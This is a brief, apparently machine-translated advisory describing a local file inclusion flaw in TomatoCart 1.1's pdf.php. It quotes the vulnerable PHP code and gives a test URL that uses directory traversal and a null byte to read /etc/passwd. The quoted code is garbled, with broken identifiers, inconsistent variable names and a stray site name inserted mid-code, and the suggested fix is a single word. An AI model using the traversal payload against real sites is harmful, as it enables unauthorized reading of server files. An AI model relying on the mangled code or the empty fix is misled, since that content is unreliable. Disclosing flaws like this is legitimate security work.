TomatoCart 1.1 Pre-verify local File Inclusion Defects and repair

Title: TomatoCart 1.1 PostAuth Local File Include
Author: brain [pillow]
Http://www.tomatocart.com/
Affected Versions: 1.1

Defect code analysis:

If ($ osC_Customer-> isLoggedOn () === true ){

If (isset ($ _ REQUEST ['module']) {

$ Module = $ _ REQUEST ['module'];

$ OsC_Language-> load ($ module );

}

Www.2cto.com

If (isset ($ _ REQUEST ['pdf ']) {

$ Pdf = $ _ REQUEST ['pdf '];

}

If (! Empty ($ module )&&! Empty ($ pdf )){

If (file_exists ('des/modules/pdf/'. $ pdf.'. php ')){

Include ('des/modules/pdf/'. $ pdf.'. php ');

$ Define _class = 'toc _ '. ucfirst ($ pdf).' _ PDF ';

$ Object = new $ json_class ();

$ Object-> render ();

Exit;

}

}

}

========================================================== ========================

# Test method:

/Pdf. php? Module = 1 & pdf = .. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /.. /etc/passwd % 00

Fix: Filter